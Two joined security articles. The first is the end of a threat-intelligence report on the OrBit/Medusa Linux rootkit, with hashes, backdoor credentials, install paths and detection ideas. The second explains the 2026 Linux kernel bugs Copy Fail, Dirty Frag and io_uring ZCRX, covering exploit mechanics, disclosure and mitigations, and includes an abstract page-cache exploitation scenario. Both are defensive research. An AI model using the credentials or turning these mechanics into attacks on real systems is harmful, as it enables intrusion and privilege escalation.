Interestingly, the dropper 73b95b7d that delivers the OrBit payload in the final stage is identical to the one used in the Rhombus campaign 6 years ago. Coincidentally, both droppers use the same domain to download the payload as part of the cron-job-based persistence. The current resolution of the domain is to 109.95.212[.]253. The host has a unique BANNER_0_HASH-IP value, ba0c31785465186600a76b7af2a37aa6, that is shared with only one other IP, 109.95.211[.]141, as shown in the screenshot below from Validin. Based on the ASN resolution, both IP addresses are located in Russia.

The fact that the OrBit dropper shares the same domain as malware from 6 years ago can also be interpreted as an attempt to mislead researchers; therefore, we are not taking this evidence into account for attribution at this moment. However, it is worth noting that this connection exists.

Shared BANNER_0_HASH-IP value.

Resolution of http://cf0[.]pw

Samples From February 2026

Hash	XOR	Working dir	Username	Password	Exports	# Hooks
04c06be0	0xA2	/lib/libseconf/	jokerteam	HACK89SERVER	64	54
d7b487d2	0xA2	/lib/libseconf/	57ill4Cu63	1qaz@WSX3edc098	64	54

These two samples are confirmed to be identical in structure: the same 54-hook set, the same XOR key (0xA2), and the same working directory (/lib/libseconf/). The only difference is credentials: jokerteam/HACK89SERVER versus 57ill4Cu63/1qaz@WSX3edc098. XOR 0xA2 decode confirms the full Lineage A string set.

No Lineage B samples have surfaced since 2024, suggesting the lite build may have been retired or consolidated back into the main branch.

Connection to BLOCKADE SPIDER

In CrowdStrike’s 2026 Global Threat Report, they mention that BLOCKADE SPIDER used the OrBit backdoor to maintain persistence and stealthy access to virtualization environments.

BLOCKADE SPIDER is a CrowdStrike-tracked eCrime adversary that has been active at least since 2024. They are known for running Embargo ransomware campaigns using sophisticated, multi-domain attack techniques.

Origin: OrBit is a fork of the Medusa open-source rootkit

Mandiant’s reporting on UNC3886 espionage operations identifies MEDUSA and its installer, SEAELF, as tools used by this state-sponsored actor against Juniper and VMware infrastructure. Essentially, OrBit is built from Medusa, an open-source LD_PRELOAD rootkit published on GitHub (github.com/ldpreload/Medusa) in December 2022.

Mandiant’s MEDUSA configuration table matches our 2024 Lineage A 0xAA-key cluster exactly across four independent fields: the XOR key 0xAA, the backdoor credentials Y0u4reCu6e and 1qaz@WSX3edc123, the install path /lib/locate/, and a modification to the rootkit that redirects strace output to /tmp/orbit.txt. That literal orbit filename, preserved as a plaintext artifact inside UNC3886’s MEDUSA binary, is direct cross-attribution: Mandiant’s “MEDUSA” sample set and our “OrBit” 2024 cluster are the same builds.

We compiled Medusa from source and compared the resulting binaries byte-for-byte against our OrBit corpus. The match is unambiguous, and it rewrites the attribution and evolution story.

Evidence of the fork

The first is a function-set and export match. Compiling Medusa’s src/rkld.c against the default Makefile recipe produces a shared object whose function set, hook list, and XOR-obfuscated string table are a direct superset match for OrBit Lineage A samples. The 2022 OrBit baseline (ec7462c3) shares all core exports with the Medusa build and reuses the identical XOR 0xA2 string obfuscation scheme driven by Medusa’s build-time xor_dump() pipeline, with the XOR key itself hardcoded in config.c.

The second is a source-filename fingerprint that is present in almost every sample we analyzed. Some of the samples ship with an unstripped ELF .symtab. The resulting filenames are preserved verbatim: rootkit samples carry rkld.c and, when Lineage A is linked in, rknet.c, while loader samples carry rkload.c. Those are the exact names of Medusa’s source files, src/rkld.c, src/rknet.c, and src/rkload.c. The filenames themselves are not secret, since the Medusa repository is public, but their verbatim presence in the compiled binary is a strong attribution anchor: every unstripped sample directly identifies the upstream tree it was built from. Of the samples in our corpus, only three are fully stripped (the 2025 dropper 73b95b7d, and the rootkit binaries a6138638 and b9822764). Three representative samples are shown below: a full Lineage A rootkit (ec7462c3, 2022), a Lineage B lite rootkit (3ba6c174, 2023), and the SEAELF loader (26082cd3, 2024).

$ readelf -s ec7462c3f4a874… | awk ‘/FILE LOCAL/’

25: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

34: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c

40: 0000000000000000 0 FILE LOCAL DEFAULT ABS rknet.c

46: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

$ readelf -s 3ba6c174a72e4b… | awk ‘/FILE LOCAL/’

1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkld.c

15: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

$ readelf -s 26082cd36fdaf7… | awk ‘/FILE LOCAL/’

1: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

9: 0000000000000000 0 FILE LOCAL DEFAULT ABS rkload.c

14: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c

The Lineage A rootkit carries both rkld.c and rknet.c; the Lineage B rootkit, which omits the advanced hook set, carries only rkld.c; and the loader carries rkload.c. The same pattern holds across the wider corpus.

Alongside the filename fingerprint, the loader’s entry-point dispatch, its build_root() filesystem layout (.boot.sh, .logpam, sshpass.txt, sshpass2.txt, .ports), and its SELinux setxattr sequence all map one-to-one to the Medusa source.

The third is an embedded inner ELF produced by xxd -i. Medusa’s Makefile embeds build/rkld.so into the loader using the xxd -i build/rkld.so > build/rkld.h step, which is then included by the loader compiled at Makefile line 33. OrBit’s loader binaries follow this pattern: a rkld.so blob embedded as a C byte array within the loader ELF, dropped to disk at runtime. The embedding technique, offset layout, and post-drop execution flow are identical.

Per-Module Source Mapping

Medusa’s source tree maps cleanly onto the OrBit binary set we have tracked:

Medusa source	Role	Corresponding OrBit artifact
src/rkld.c	Main rootkit (libc hooks, PAM harvest, file/proc/net hiding)	All Lineage A / Lineage B rootkit .so samples
src/rkload.c	Installer / SEAELF loader (patches ld.so, writes /etc/ld.so.preload, drops inner rootkit)	26082cd3 and related loader/installer samples
src/rknet.c	Advanced hooks: xread, audit_log_acct_message, audit_log_user_message, pam_sm_authenticate, pcap_loop, port-hiding	Not compiled in the default Makefile. Linked in only in Lineage A “full” builds.

The Medusa default Makefile compiles only src/rkld.c. Every Lineage A capability that appeared to “arrive” in OrBit between 2023 and 2025 was already present as source in Medusa’s src/rknet.c on day one of the public release. The operators’ work was to modify the Makefile to link rknet.c into their build, not to author those functions.

Timeline Anomaly

Our analysis shows that an initial OrBit sample (40b5127c) appeared in July 2022, predating the repository’s publication by approximately 5 months. Based on this information, there are two options: either the Medusa author published a privately-circulated rootkit source that had already been deployed operationally, or the earliest OrBit sample was built from a pre-publication snapshot of the same tree. Either way, the 2022 OrBit sample and the December 2022 Medusa source tree are the same codebase. The question is only which commit was made public first.

Implications

The appearance of a single rootkit family across four years does not imply a single operator. OrBit and Medusa have been built and deployed by at least three unrelated actor clusters we can presently distinguish, including the state-sponsored espionage activity attributed to UNC3886, the eCrime ransomware operations run by BLOCKADE SPIDER, and the 2025 cron-dropper campaign previously linked to RHOMBUS infrastructure. Attribution at the family level is therefore not enough, and defenders tracking an OrBit infection should separate the questions of which codebase was used from which operator configured and deployed it.

Tracking version-over-version changes in OrBit reads less like an active malware development project and more like a record of build-flag toggles, credential rotations, and install-path swaps against a stable upstream. The capability ceiling is set by the Medusa source tree as it existed in December 2022, and every apparent new feature we observed between 2023 and 2025 was already present in that tree, waiting for an operator to link it in. The xread read-hook bypass we first flagged as a 2023 compatibility shim is a function in src/rknet.c. The auditd evasion pair we called out as a 2024 addition, audit_log_acct_message and audit_log_user_message, sits in the same file. The PAM stack we noted as gradually expanding across versions, including pam_authenticate, pam_acct_mgmt, pam_open_session, and the 2025 service-side impersonation hook pam_sm_authenticate, is all present in the same rknet.c, as is the pcap_loop packet hook that appears in full Lineage A builds. None of these files is linked in by the default Makefile recipe, which compiles only src/rkld.c. Their arrival in individual OrBit samples corresponds to an operator modifying the build to include rknet.c, not to new code being written.

Signatures based on invariants of the Medusa build pipeline will also flag builds from operators we have not yet seen. Three such invariants are worth calling out.

The string table produced by Medusa’s xor_dump() routine, which emits every protected string as a contiguous block of single-byte XOR-obfuscated byte arrays within the compiled binary. Operators change the key value (0xA2 in most builds, 0xAA in the 2024 UNC3886 cluster) and some paths, but the table’s shape and the majority of its entries are fixed by the source. A YARA rule that decodes the table with a variable single-byte key and matches on a threshold count of known plaintext strings catches any build, regardless of which key was chosen.
The filesystem skeleton that the loader’s build_root() writes into its install directory. Operators vary only the parent directory (/lib/libseconf/, /lib/locate/, /lib/libntpVnQE6mk/), so host-based detection can alert on the co-occurrence of that filename set inside any directory, and binary-level signatures can match the embedded filename constants and the setxattr call pattern directly.
The nested-ELF structure produced by the xxd – +i build/rkld.so > build/rkld.h step in the Makefile, which bakes a full secondary ELF into the loader’s .rodata. Every Medusa loader therefore carries a second ELF magic inside its own image, followed by a length constant, and, if the binary is not stripped, two xxd-generated symbols (rkld_so and rkld_so_len ). The nested-ELF shape on its own is not specific enough to be a detection signature: plenty of legitimate software and unrelated malware use xxd -i or equivalent techniques to embed a payload, and any such binary will match a naive “second ELF at non-zero offset plus length constant” rule. The Medusa-specific part is the pairing of that structural pattern with (a) the symbol names rkld_so and rk +ld_so_len in the loader’s symbol table when the binary is not stripped, and (b) the inner ELF itself, matching the rootkit fingerprint described earlier in this section, which gives both a family-level anchor and a structural one.

Conclusion

The analysis of OrBit variants from 2022 through early 2026 reveals a Linux rootkit whose code later surfaced in an open-source codebase named Medusa. This suggests that the backdoor was created before its public release and has since been selectively forked, configured, and redeployed by multiple operators over four years. We identified two parallel build paths: the comprehensive Lineage A (“Full” build), which links in Medusa’s src/rknet.c advanced hook set, and the temporary Lineage B (lite build), which ships only the src/rkld.c core and was retired after 2024. Apparent “milestones” in Lineage A are the xread wrapper (2023), the audit_log_* auditd-evasion hooks (2024), and the 2025 addition of the pam_sm_authenticate hook, which corresponds one-to-one with functions already present in Medusa’s published source. The operator work is in the build configuration and deployment, not the C code.

Our analysis of the OrBit samples also discovered that at least 3 different operators are using the backdoor. A major operational shift occurred in 2025 with the introduction of a new two-stage infector architecture, marking one operator’s transition from a purely passive SSH-backdoor implant to malware with its first direct C2 capability. This infector utilizes a cron job to fetch external payloads from the domain cf0[.]pw. The architecture of this new dropper is identical to one used in the 2020 RHOMBUS botnet campaign, suggesting shared tooling or operator overlap, a link further cemented by the C2 domain resolving to infrastructure located in Russia. In parallel, the same Medusa codebase was weaponized upstream by the state-sponsored espionage actor UNC3886 (tracked by Mandiant). The 2024 0xAA-key cluster we tracked as Lineage A corresponds exactly to UNC3886’s MEDUSA configuration, including the backdoor credentials, the install path, and a strace artifact that retains the literal “orbit” string. The rootkit has also been adopted by the CrowdStrike-tracked eCrime adversary BLOCKADE SPIDER since at least 2024, who leverage OrBit for stealthy persistence against VMware vCenter infrastructure to facilitate the deployment of Embargo ransomware. The continued emergence of new Lineage A samples in 2026, accompanied by operator-specific credential rotation, confirms that a single public rootkit codebase is being cloned and configured by multiple unrelated actor groups.

IOC Table

SHA256	Year	Role	Lineage
40b5127c8cf9d6bec4dbeb61ba766a95c7b2d0cafafcb82ede5a3a679a3e3020	2022	payload	A
ec7462c3f4a87430eb19d16cfd775c173f4ba60d2f43697743db991c3d1c3067	2022	payload	A
f1612924814ac73339f777b48b0de28b716d606e142d4d3f4308ec648e3f56c8	2022	dropper	–
d419a9b17f7b4c23fd4e80a9bce130d2a13c307fccc4bfbc4d49f6b770d06d3b	2023	payload	A
296d28eb7b66aa2cbea7d9c2e7dc1ad6ce6f97d44d34139760c38817aec083e7	2023	payload	A
3ba6c174a72e4bf5a10c8aaadab2c4b98702ee2308438e94a5512b69df998d5a	2023	payload	B
4203271c1a0c24443b7e85cbf066c9928fcc69934772a431d779017fb85c9d73	2023	payload	B
eea274eddd712fe0b4434dbef6a2a92810cb13b8be3deca0571410ee78d37c9f	2024	payload	A
a61386384173b352e3bd90dcef4c7268a73cd29f6ae343c15b92070b1354a349	2024	payload	A
a34299a16cf30dac1096c1d24188c72eed1f9d320b1585fe0de4692472e3d4dc	2024	payload	B
b1dd18a6a4b0c6e2589312bbec55b392a20a95824ffe630a73c94d24504c553d	2024	payload	B
989f7eb4f805591839bcbc321dd44418eb5694d1342e37b7f24126817f10e37e	2024	payload (extracted)	B
8ea420d9aa341ba23cdea0ac03951bce866c933ba297268bc7db8a01ce8e9b8e	2024	payload (static ELF)	A
26082cd36fdaf76ec0d74b7fbf455418c49fbab64b20892a873c415c3bb60675	2024	loader	–
48a68d0555f850c36f7d338b1a42ed1a661043cacf2ba2a4b0a347fac3cb3ee6	2024	dropper	–
fc2e0cb627a00d0e4509bd319271721ea74fb11150847213abe9e8fea060cc8a	2024	dropper	–
8e83cbb2ed12faba9b452ea41291bcebdce08162f64ac9a5f82592df62f47613	2025	payload	A
2b2eeb2271c19e2097a0ef0d90b2b615c20f726590bbfee139403db1dced5b0a	2025	payload	A
84828f31d741f92ce4bca98cfc2148ff8cff6663e2908a025b1386dd4953ffef	2025	payload (truncated)	A
090b15fd8912cab340b22e715d44db079ec641db5e2f92916aa1f2bc9236e03e	2025	dropper	–
64a3ebd3ad3927fc783f6ac020d5a6192e9778fb16b51cceba06e4ee5416adff	2025	dropper	–
b85ed15756568b85148c1d432a8920f81e4b21f2bc38f0cf51d06ced619e0e77	2025	dropper	–
d3d204c19d93e5e37697c7f80dd0de9f76a2fb4517ced9cafd7d7d46a6e285ba	2025	dropper	–
73b95b7d1006caf8d3477e4a9a0994eaa469e98b70b8c198a82c4a12c91ad49a	2025	infector	—
04c06be0f65d3ead95f3d3dd26fe150270ac8b58890e35515f9317fc7c7723c9	2026	payload	A
d7b487d2e840c4546661f497af0195614fc0906c03d187dc39815c811ea5ec3f	2026	payload	A
b982276458a85cd3dd7c8aa6cb4bbb2d4885b385053f92395a99abbfb0e43784	2020	RHOMBUS dropper	–

The post OrBit (Re)turns: Tracking an open-source Linux rootkit across four years of forks and deployments appeared first on Intezer.

Linux Compromises, Broken Embargoes, and the Shrinking Patch Window — AskBaize

Thu, 14 May 2026 18:05:10 +0000

Written by Ti Zhang 20260503

May 2026 brought three serious Linux local privilege escalation issues in two weeks. They differ in subsystem and exploit requirements, but share similar patterns. This article covers what happened, why the disclosure model broke down, what it means for production environments, and what defenders can do now.

Explanations are written for technical audiences with plain english sections to supplement community understanding.

note: not covered - Fragnesia (CVE-2026-46300, ID assigned at the moment but not yet populated on NVD), which dropped at the time of publishing this article, and is the same bug class as Dirty Frag. resource links attached at the end

What Happened

Copy Fail, CVE-2026-31431

Copy Fail Plain English

A Linux kernel memory-management bug involving copy-on-write (COW) behaviour
Programs store memory in pages (a contiguous block of memory). Although each program is guaranteed its own private pages to save space, the OS will not make a copy if more than one program READS the same page.
As soon as a second program tries to write or change the page, however, the kernel is supposed to make a copy(this is the copy-on-write), and Copy Fail broke that guarantee under certain conditions. Data that should have stayed isolated could be modified unexpectedly
Here's an analogy to help understand: imagine multiple companies sharing a single, strictly read-only source-of-truth rulebook to save space. A worker needs a page translated into secret code. Normally, the system makes a private photocopy first. But due to a flawed efficiency update, the system decides to save paper by writing the translation directly over the original text in the master rulebook. By skipping the copy step to save resources, the system accidentally lets one worker permanently overwrite the rules for everyone, completely breaking memory isolation.
Why is this scary?
- Isolation failures inside the kernel are dangerous because many security boundaries depend on them, and bugs in memory ownership logic can become privilege-escalation primitives
- Exploitation was more realistic than many race-condition bugs because it was logic-related rather than timing-sensitive
- Attackers really go brrr when they can write where you're not supposed to write

Copy Fail Technical Explanation

Logic flaw in algif_aead — the 2017 in-place AEAD optimization sets req->src = req->dst, allowing splice()-backed page cache pages to land in the output scatterlist; a 4-byte scratch write during authencesn tag rearrangement lands in the spliced file's cached pages
No race condition, no CAP required, no kernel modules beyond algif_aead
732-byte Python PoC, confirmed root on Ubuntu 24.04, RHEL 10.1, Amazon Linux 2023, SUSE 16
Affects kernel 4.14 through 6.19.11 / 6.18.21 (regression introduced commit 72548b093ee3, fixed fafe0fa2995a)
Added to CISA KEV. Active in-wild exploitation confirmed

Copy Fail Disclosure

Discovered by Theori / Xint via AI-assisted scan of linux/crypto/ ( Xint write-up) and reported to Linux kernel security team around 5 weeks before public release
Theori controlled the disclosure date, so this was not an embargo break. They chose to publish April 29, 2026 before all distros had shipped patches
Working exploit: 732-byte Python script, no compilation, runs on all affected distros unchanged
At time of disclosure Arch Linux, Fedora, and Amazon Linux had patches. SUSE, Red Hat, and Ubuntu had mitigation guidance only, no patched kernels
Theori noted at disclosure that their scan had surfaced additional high-severity vulnerabilities in the same kernel area, which remained under private responsible disclosure at the time
Interim mitigation (algif_aead disallowlist) widely deployed across the fleet in the days following

Dirty Frag, CVE-2026-43284 + CVE-2026-43500

Dirty Frag Plain English

A Linux kernel page-cache/memory-fragment reuse bug
The kernel performs in-place crypto operations on memory pages it does not own write rights to. When those pages were originally delivered via splice(), they remain live pipe pages still owned by the pipe. The kernel skips the step that would take a private copy first. The result is an unintended write landing in the page cache of an attacker-chosen file
- pipe: a kernel-managed buffer that connects two processes
- splice()is a syscall that moves data between a pipe and a file descriptor without copying it through userspace
The attacker selects the target by controlling what is spliced where — this is not a write to arbitrary cached data, it is a write into a specific file the attacker targets, including files they only have read access to
Analogy to help understand: imagine an office that reuses paper work orders. When a new job comes in, the manager hands out a form that is physically still attached to the previous worker's outbox. When the new worker writes on it, the ink bleeds through automatically to the previous worker's copy. The attachment was never severed — the shared page reference is the problem, not forgotten erasure. Leftover ownership becomes an active write channel
Why is this scary?
- Page-cache corruption bugs are extremely valuable for attackers. They can affect binaries, configs, and protected files the attacker can read but is not supposed to modify
- The write is invisible to disk-integrity tooling. IMA, dm-verity, and on-disk checksums operate on the stored file, not the page cache. A Dirty-Frag-modified binary executes from the corrupted in-memory cache — the verified copy on disk is never touched
- Bugs involving cached file data are often easier to weaponize than heap corruption, because they bypass assumptions about read-only files without requiring a separate leak primitive or KASLR defeat.
  - KASLR(Kernel Address Space Layout Randomization) randomizes where the kernel loads itself in memory on every boot. Every function, every variable, every data structure sits at a different address each time. An attacker who wants to overwrite a specific kernel value needs to know its current address first. Defeating KASLR means finding a way to read a kernel address from within an unprivileged process
  - Copy Fail and Dirty Frag are scary because you don't need to know any kernel addresses: your target is a file path (/usr/bin/su, /etc/passwd), not a kernel pointer. The page cache is indexed by file and offset — both of which you control as an unprivileged user. No address leak required, no KASLR to defeat, no spray to land correctly. You pick the file, you pick the byte offset, you write. That is why this class sits in a different threat tier from ZCRX, where the full exploitation chain stalls precisely because KASLR defeat is a hard unsolved step.
- Historically, this class of bug has produced very practical privilege-escalation exploits(Dirty Pipe, Dirty COW, OverlayFS PE, Dirty Cred)

Dirty Frag Technical Explanation

esp_input and the RxKAD verify path both receive splice()-originated skbs whose fragment pages are backed by pipe pages the kernel does not own. Both skip skb_cow_data() before in-place crypto, writing into the fragment pages directly and producing an unpermitted write into the page cache of the spliced file
Deterministic logic bug — no race, no spray, no KASLR defeat required, no panic on failure. Target is a file path and byte offset, both attacker-controlled. High reliability
Single-binary C PoC,immediate root on all major distros; algif_aead disallow (Copy Fail mitigation) does not block this path
- Tested: Ubuntu 24.04, RHEL 10.1, Fedora 44, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10
- Post-run: page cache contaminated — echo 3 > /proc/sys/vm/drop_caches or reboot required; on-disk copy untouched, IMA/dm-verity blind to the modification
CVE-2026-43284 — xfrm ESP input (esp_input)
- IPv4/IPv6 datagram splice paths omit SKBFL_SHARED_FRAG on UDP skbs; without this flag set, the ESP fast-path treats the skb as safe for in-place decrypt — skipping skb_cow_data() because it sees no frag_list and an uncloned skb, without checking whether the fragment pages are pipe-owned
- Decrypts over unowned pipe pages, writing crypto output into the page cache of the spliced file
- Requires unprivileged userns; blocked by AppArmor userns restriction on Ubuntu
- Introduced: cac2661c53f3 (2017-01-17, ~9yr exposure); Patch: f4c50a4034e6
- NVD refs point to stable backport commits; mainline fix is f4c50a4034e6
CVE-2026-43500 — RxRPC / RxKAD verify path
- In-place decrypt over splice-originated frags without COW; no userns required, lower privilege bar than CVE-2026-43284
- rxrpc.ko not loaded by default on most distros; Ubuntu autoloads it, making the RxRPC path the universal fallback where AppArmor blocks the ESP path
- Chain logic: ESP path covers non-Ubuntu (userns open); RxRPC path covers Ubuntu (rxrpc.ko autoloaded, userns irrelevant) — blind spots cancel, universal LPE
- Introduced: 2dc334f1a63a (2023-06-08, ~3yr exposure); Patch: aa54b1d27fe0
- Specific symbol within RxKAD verify path unconfirmed — verify against aa54b1d27fe0 diff before citing

Dirty Frag Disclosure

Discovered by Hyunwoo Kim (@v4bel), who reported privately to Linux maintainers April 30, 2026
Linux distro embargo was set for May 12, but was broken externally before patches or CVEs existed
- On May 7, an unrelated third party independently published a working exploit a full explanation on (oss-security)(https://www.openwall.com/lists/oss-security/2026/05/07/12)([Write-up](https://afflicted.sh/blog/posts/copy-fail-2.html)and GitHub PoC)
- The working exploit was reverse-engineered from the fix commit f4c50a4034e6 publicly available on on netdev/net.git
- A second independent PoC Copy Fail 2: Electric Boogaloo targeting the same paths posted publicly around the same time.
- _SiCk clarified on oss-security: "The work is n-day weaponization from a public upstream commit, which is standard practice once a security-relevant fix lands in a public tree" and apologised directly to Hyunwoo Kim
Kim wrote on oss-security: "Because the embargo has currently been broken, no patch or CVE exists" after consulting linux-distros@vs.openwall.org. At maintainers' request, he published his full write-up and PoC the same day
- At time of disclosure there were no patches and no CVEs. This was materially worse than Copy Fail's disclosure state
CVEs allocated post-facto(CVE-2026-43284 (ESP) and CVE-2026-43500 (RxRPC) assigned May 8)
AlmaLinux and Ubuntu shipped patched kernels by May 8; RHEL, SUSE, Debian, Fedora acknowledged with patches in progress

io_uring ZCRX freelist OOB write,CVE-2026-43121

io_uring ZCRX freelist OOB write Plain English

Bookkeeping failure caused by two CPU cores trying to clean up the same thing at the same time. The kernel accidentally frees the same object twice and its internal recycling list becomes corrupted. Eventually the kernel writes data outside the memory region it was supposed to use
That memory corruption could potentially be turned into privilege escalation, though no fully working public exploit chain currently exists. The vulnerable code is part of io_uring, a high-performance Linux I/O system used for very fast networking and storage operations. The specific feature involved is called ZCRX (“zero-copy receive”)
The idea behind zero-copy systems is to avoid constantly copying data around in memory and reuse existing buffers instead, which improves performance and reduces CPU overhead
This is great for speed but makes memory ownership tracking complicated
Analogy to help understand: rental car company has two clerks. if someone has finished with a rental car, clerk A checks into system "hey there's a new available car ready to be rented"(CPU0 sees count=1, frees object). By some mistake clerk B also checks the same car into the system(CPU1 sees count=1, frees same object). Now the company's system thinks there are +2 cars available for renting instead of +1(kernel now accidentally places same object into reusable-object list twice)
- That reusable list eventually becomes corrupted because the kernel thinks it has more free objects than it actually does(the rental car company thinks it has more cars to rent out than it does). Then the kernel writes past the end of an internal array (an OOB, out-of-bounds write)
Attacker can exploit by placing an place an important kernel object next to the corrupted region, damaging it in a useful way, and gradually turn that into more control (heap grooming, slab placement, object spraying). You may hear controlled memory layout manipulation thrown around when researchers talk about this
This is less scary than Dirty Frag or Copy Fail
- Dirty Frag/Copy Fail (Dirty Pipe family) are deterministic, easy to trigger reliably, and bypasses KASLR defeat
- io_uring ZCRX freelist OOB (i feel like i'm summoning a computer demon if i have to type this one more time i'm ordering myself some fizzy sodas with real sugar) is harder to exploit because it depends on timing, and multiple CPU cores must race in just the right way. The corruption primitive is weaker, and no complete public root exploit exists as of now.
- The vulnerability requires CAP_NET_ADMIN, which is a privileged Linux capability for special networking software stuffs. So if an attacker has CAP_NET_ADMIN you are already in hot waters
- Realistic risk areas include privileged containers, kubernetes workloads with execessive permissions, networking tools, observability agents, service mesh components, etc

io_uring ZCRX freelist OOB write Technical Explanation

Different class from Copy Fail and Dirty Frag(no page-cache write primitive, no COW bypass, no splice involvement). Not deterministic, requires a timing window on SMP
Less severe than Copy Fail and Dirty Frag
SMP race condition ->double-free -> heap OOB write into adjacent slab object
Full exploitation chain (double-free -> slab corruption -> KASLR break ->modprobe_path overwrite -> uid=0) undemonstrated publicly at time of writing
io_zcrx_put_niov_uref() implements a non-atomic check-then-decrement on user_refs: atomic_read() followed by a separate atomic_dec(), serialized against other callers via rq_lock
io_zcrx_scrub() modifies user_refs via atomic_xchg() without holding rq_lock
On SMP, both paths pass the user_refs == 1 check concurrently; both call io_zcrx_return_niov() on the same niov; the same niov is pushed to the freelist stack twice (double-free)
free_count (the stack pointer) exceeds nr_iovs (the stack depth); subsequent freelist push writes a u32 past the end of the kvmalloc'd freelist array into the adjacent slab object
The bug is not a missing bounds check on userspace-supplied rqe->off — it is atomicity failure between two kernel teardown paths
Note: IORING_REGISTER_ZCRX_IFQ requires CAP_NET_ADMIN
- The ze3tar PoC escalation path as written requires CAP_SYS_ADMIN. Jens Axboe on oss-security: "If you already have CAP_SYS_ADMIN, what is the point?"
Valid in-scope workloads: containers with NET_ADMIN in securityContext running kernel ≥ 6.12 without the backport
ZCRX introduced in 6.12; kernels 5.15, 6.1 LTS not affected

io_uring ZCRX freelist OOB write Disclosure

Kai Aizen (snailsploit.com) found the race, authored the fix, submitted upstream Feb 18, 2026
Patch 003049b1c4fb was merged and backported to stable before any public blog post
CVE-2026-43121, published May 6, 2026
CVE request Filed on oss-security by Mohamed Salem Eddah. Solar Designer flagged it as likely AI-generated, original finder (Aizen) was not the requester
ze3tar blog. Published post-patch with PoC; Solar Designer and Axboe reviewed the exploit code on-list and called it AI slop; ze3tar acknowledged on oss-security the bug was already fixed and the escalation path was incomplete
No embargo was involved: Aizen submitted a patch through normal kernel development, not a private linux-distros report; 003049b1c4fb was public the moment it merged, making the fix commit itself the de facto public disclosure
Mohamed's CVE request and ze3tar's blog are both downstream of that public commit, not of any private disclosure. This was the same mechanism that broke Dirty Frag's embargo, except here no embargo existed to break because the fix was in place
Process was arguably cleaner than coordinated disclosure: patch reached users before public exploitation analysis followed. The dysfunction was limited to Mohamed filing a CVE for a bug he didn't find and ze3tar overstating exploitation status, neither affected the patch timeline or user exposure window
- Arguably, the real crime with io_uring ZCRX freelist OOB write(i am sooo done) was how the CVE was published around the same time as Dirty Frag and Copy Fail, and appeared on first look as something of the same seriousness due to the way it is written. When everything seems urgent and scary, nothing is (RIP to everyone's blood pressure)

Embargo and Disclosure Etiquette in the age of LLMs

What's an Embargo

An embargo is a coordination norm. It is not an NDA, and not enforceable against the entire internet. It's really a code of honour, plain to speak, a bunch of people in an exclusive group going "ok you won't tell and i won't tell, but here's what we are going to do, and here's when we will do it".

Embargoes break when

A fix lands publicly before patches are broadly available
Someone outside the list independently finds the bug from a public commit
The bug class is obvious from the diff
The cost of staying quiet exceeds the benefit

The CVEs we have discussed so far are not the only recent discoveries to have had a non-typical disclosure process. CrackArmor (disclosed March 12, 2026 by Qualis TRU, patches CVE-2026-23268 through CVE-2026-23411, March 19 to April 1) CrackArmor enables unprivileged users to create fully-capable user namespaces, effectively getting around Ubuntu's user namespace restrictions implemented via AppArmor. The vulnerabilities were shared with Canonical back in July 2025, but did not have CVEs assigned at the time of disclosure. Qualys noted "communication delays" and sent follow-ups to Ubuntu's security team and Canonical's AppArmor developers in December 2025 and January 2026.

Soo Are We Just Skipping Embargoes Now?

Before we had LLMs, we could count on some assumptions:

Bugs stayed private until patches were ready
Attackers needed meaningful time to weaponize published details
Distros could ship before exploitation became widespread

These assumptions are not as reliable now. LLMs make reverse-engineering more accessible. AI is incredibly bad at writing reliable secure code, but AI is very very good at poking holes and finding vulnerabilities. This lands the industry in a bad situation: AI go brrr at helping developing exploits for skilled attackers, but AI go less brrr for helping with developing patches (and not all patches are written with AI assistance). Patch authorship isn't the bottleneck here, what's slow is everything after: validation, backporting across kernel versions, regression testing, distro integration, and shipping. That pipeline moves at human-organizational speed regardless of LLM capability, and attackers with motivation and a public fix commit don't have to wait for any of it.

Response is slower than attackers with motivation and it's not because people aren't smart enough, it's just the way it is in an LLM-powered security landscape.

Closing the gap between mitigation and attack means boring reliable work and keeping your house clean, we all panic less when we have mitigations in place and prepare for disasters ahead of time:

Know your kernel exposure
Restrict unprivileged user namespaces on hosts that do not need them
Patch faster where it matters; build the process before you need it
Reduce dangerous capabilities at the workload level
Block unused kernel surfaces — modules, syscalls, io_uring
Watch sensitive subsystem commits directly
Detect behavior, not CVE names
Keep an IPsec dependency map current and tested

Open development and coordinated embargoes do not always work the way we want. A public fix commit is a public disclosure, whether anyone intends it to be or not. Kernel maintainers and researchers are working under real constraints. The process failures here were largely structural, not individual. Let's have empathy for that is warranted.

Impact and Practical Exploitation Scenarios

These discoveries are host-kernel territory. Container namespaces do not protect you from a vulnerable host kernel. Containers share the host kernel — a page-cache write from inside a container lands in the host's page cache, affecting every process on the host reading the same file, including processes outside the container entirely. Namespace isolation is filesystem and process namespace isolation; it does not isolate the page cache. If an unprivileged process inside a container can reach the vulnerable path, the result is host root. Impacted environments include but are not limited to multi-tenant Kubernetes nodes, CI runners, build farms, shared developer platforms, and any environment running arbitrary workloads.

Dirty Frag mitigations also have real operational cost:

Blocking esp4 and esp6 breaks kernel-space IPsec — strongSwan, Libreswan, and any stack using the kernel ESP data plane cannot safely apply this
Blocking rxrpc mainly affects AFS clients and is safe to apply on almost everything else
VPN providers running IKEv2/IPsec with kernel ESP have no viable interim mitigation that preserves service — the module blacklist is the data plane. The only fix is the kernel patch. WireGuard is not affected; it does not use the xfrm/ESP path

Addendum Post Publish: Fragnesia (CVE-2026-46300) is a pre-existing latent bug in the same surface area that became practically exploitable as a consequence of the Dirty Frag patch — the fix changed kernel behavior in a way that exposed it. The mitigation is identical: esp4, esp6, rxrpc blacklist. The kernel patch is on netdev awaiting merge; no stable backport exists as of May 13, 2026.

Copy Fail Practical Exploitation Scenario

Abstract Scenario

An unprivileged user opens a readable setuid binary and splices it into an AF_ALG socket
The algif_aead in-place optimization leaves the page cache pages shared with the splice pipe
A 4-byte scratch write during authencesn tag rearrangement(internal crypto buffer rearrangement step) lands in the page cache of the spliced file at an attacker-influenced offset
The in-memory copy of the binary is now modified without any write permission to the file, without touching disk, and without invalidating IMA measurements or dm-verity
Result: next execution of that binary runs the attacker's modified version as root

